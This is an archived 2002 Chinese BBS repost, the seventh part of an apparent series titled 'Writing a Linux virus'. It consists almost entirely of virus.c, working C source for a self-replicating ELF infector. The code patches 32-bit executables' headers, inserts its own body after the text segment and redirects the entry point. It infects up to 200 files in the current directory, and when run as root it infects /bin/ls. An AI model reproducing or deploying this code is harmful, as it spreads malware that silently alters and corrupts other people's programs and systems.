荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标 题: 写一只Linux病毒(7) virus.c(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:10:08 2002), 转信
【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标 题: 写一只Linux病毒(7) virus.c
发信站: UNIX编程 (Mon Apr 22 17:09:48 2002) , 转信
#include <sys/types.h>
#include <asm/stat.h>
#include <fcntl.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <elf.h>
#include "virus.h"
#define SEEK_SET 0
#define open(fd,flag,mode) syscall3(__NR_open,fd,flag,mode)
#define read(fd,buf,len) syscall3(__NR_read,fd,buf,len)
#define write(fd,buf,len) syscall3(__NR_write,fd,buf,len)
#define lseek(fd,off,set) syscall3(__NR_lseek,fd,off,set)
#define stat(file,stat) syscall2(__NR_stat,file,stat)
#define getcwd(buf,len) syscall2(__NR_getcwd,buf,len)
#define readdir(fd,dir,cnt) syscall3(__NR_readdir,fd,dir,cnt)
#define close(fd) syscall1(__NR_close,fd)
#define chdir(path) syscall1(__NR_chdir,path)
#define getuid() syscall(__NR_getuid)
static int get_reloc_pos(void)
{
return OLD_ENTRY;
}
static char *get_virus_start(void)
{
__asm__ volatile ("
jmp 2f\n\t
1: popl %%eax\n\t
sub %0,%%eax\n\t
jmp relocpos\t
2: call 1b\n\t
relocpos:"
:: "i"(DIFF));
}
static int syscall(int no)
{
__asm__ volatile ("
movl 0x8(%esp),%eax
int $0x80
");
}
static int syscall1(int no,unsigned p1)
{
__asm__ volatile ("
pushl %ebx
movl 0xc(%esp),%eax
movl 0x10(%esp),%ebx
int $0x80
popl %ebx
");
}
static int syscall2(int no,unsigned p1,unsigned p2)
{
__asm__ volatile ("
pushl %ebx
pushl %ecx
movl 0x10(%esp),%eax
movl 0x14(%esp),%ebx
movl 0x18(%esp),%ecx
int $0x80
popl %ecx
popl %ebx
");
}
static int syscall3(int no,unsigned p1,unsigned p2,unsigned p3)
{
__asm__ volatile ("
pushl %ebx
pushl %ecx
pushl %edx
movl 0x14(%esp),%eax
movl 0x18(%esp),%ebx
movl 0x1c(%esp),%ecx
movl 0x20(%esp),%edx
int $0x80
popl %edx
popl %ecx
popl %ebx
");
}
int strlen(const char* str)
{
register len = 0;
while (str[len]) ++len;
return len;
}
int validate(Elf32_Ehdr *eh)
{
#define id eh->e_ident
if (id[EI_MAG0] != ELFMAG0 || id[EI_MAG1] != ELFMAG1
|| id[EI_MAG2] != ELFMAG2 || id[EI_MAG3] != ELFMAG3){
return 0;
}
if (eh->e_type != ET_EXEC || eh->e_machine != EM_386
|| eh->e_version != EV_CURRENT ) {
return 0;
}
if (id[EI_MAG10] == ELFMAG10) {
return 0;
}
#undef id
return 1;
}
int inflect(char* name)
{
int fd,i;
int data = -1,text = -1;
struct stat st;
Elf32_Ehdr eh;
Elf32_Phdr *ph;
Elf32_Shdr *sh;
unsigned long end_code;
char *buf,*virus;
size_t phlen,shlen,buflen;
if (stat(name,&st) < 0) {
return 0;
}
if ((fd = open(name,O_RDWR,0)) < 0) {
return 0;
}
//read eh
if (read(fd,&eh,sizeof(eh)) != sizeof(eh)) {
goto err;
}
if (!validate(&eh)) {
goto err;
}
//read ph
if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
goto err;
}
phlen = eh.e_phnum * sizeof(*ph);
ph = alloca(phlen);
if (read(fd,ph,phlen) != phlen) {
goto err;
}
//get text and data segmeng index
for (i=0; i<eh.e_phnum; i++) {
if(ph[i].p_type == PT_LOAD) {
if (ph[i].p_offset)
data = i;
else
text = i;
}
}
//sanity check
if (data == -1 || text == -1) {
goto err;
}
if ( ph[text].p_vaddr + ph[text].p_filesz + INFECTION_SIZE > ph[data].p_
vaddr) {
goto err;
}
//patch ph
end_code = ph[text].p_offset + ph[text].p_filesz;
ph[text].p_filesz += INFECTION_SIZE;
ph[text].p_memsz += INFECTION_SIZE;
for (i=0; i<eh.e_phnum; i++) {
if (ph[i].p_offset >= end_code)
ph[i].p_offset += INFECTION_SIZE;
}
//read sh
if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
goto err;
}
shlen = eh.e_shnum * sizeof(*sh);
sh = alloca(shlen);
if (read(fd,sh,shlen) != shlen) {
goto err;
}
//patch sh
for (i=0; i<eh.e_shnum; i++) {
if (sh[i].sh_offset > end_code)
sh[i].sh_offset += INFECTION_SIZE;
}
//write ph
if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
goto err;
}
if (write(fd,ph,phlen) != phlen) {
goto err;
}
//write sh
if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
goto err;
}
if (write(fd,sh,shlen) != shlen) {
goto err;
}
//move
if (lseek(fd,end_code,SEEK_SET) < 0) {
goto err;
}
buflen = st.st_size - end_code;
buf = alloca(buflen);
if (read(fd,buf,buflen) != buflen) {
goto err;
}
if (lseek(fd,end_code + INFECTION_SIZE,SEEK_SET) < 0) {
goto err;
}
if (write(fd,buf,buflen) != buflen) {
goto err;
}
//write virus
if (lseek(fd,end_code,SEEK_SET) < 0) {
goto err;
}
virus = get_virus_start();
if (write(fd,virus,VLEN) != VLEN) {
goto err;
}
//modify virus
if (lseek(fd,end_code + OLD_ENTRY,SEEK_SET) < 0) {
goto err;
}
if (write(fd,&eh.e_entry,4) != 4) {
goto err;
}
//patch eh
if (eh.e_shoff >= end_code) {
eh.e_shoff += INFECTION_SIZE;
}
eh.e_ident[EI_MAG10] = ELFMAG10;
eh.e_entry = ph[text].p_vaddr + ph[text].p_memsz - INFECTION_SIZE;
//write eh
if (lseek(fd,0,SEEK_SET) < 0) {
goto err;
}
if (write(fd,&eh,sizeof(eh)) != sizeof(eh)) {
goto err;
}
close(fd);
return 1;
err:
close(fd);
return 0;
}
void inflects(void)
{
int fd,len,total = 200;
struct dirent dir;
char dot[2] = {'.',0};
if ((fd = open(dot,O_RDONLY,0)) < 0) {
return ;
}
while(readdir(fd,&dir,1)) {
if (total < 0) {
break;
}
#define dn dir.d_name
len = strlen(dn);
if (!len || dn[0] == ' ' || dn[0] == '.') {
continue;
}
if (dn[len-2] == 'p' && dn[len-1] == 's') {
continue;
}
if(inflect(dn)) {
continue;
}
#undef dn
total--;
}
close(fd);
}
void virus_main(void)
{
char *str = alloca(10);
char bin[] = {'/','b','i','n','\0'};
char ls[] = {'l','s','\0'};
char cwd[4096];
str[0] = 'v';
str[1] = 'i';
str[2] = 'r';
str[3] = 'u';
str[4] = 's';
str[5] = ' ';
str[6] = ':';
str[7] = '-';
str[8] = ')';
str[9] = '\n';
write(1,str,10);
inflects();
if (getuid()) {
return;
}
getcwd(cwd,4096);
chdir(bin);
inflect(ls);
chdir(cwd);
}
--
※ 来源:.UNIX编程WWW apue.dhs.org. [FROM: 202.108.200.52]
--
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店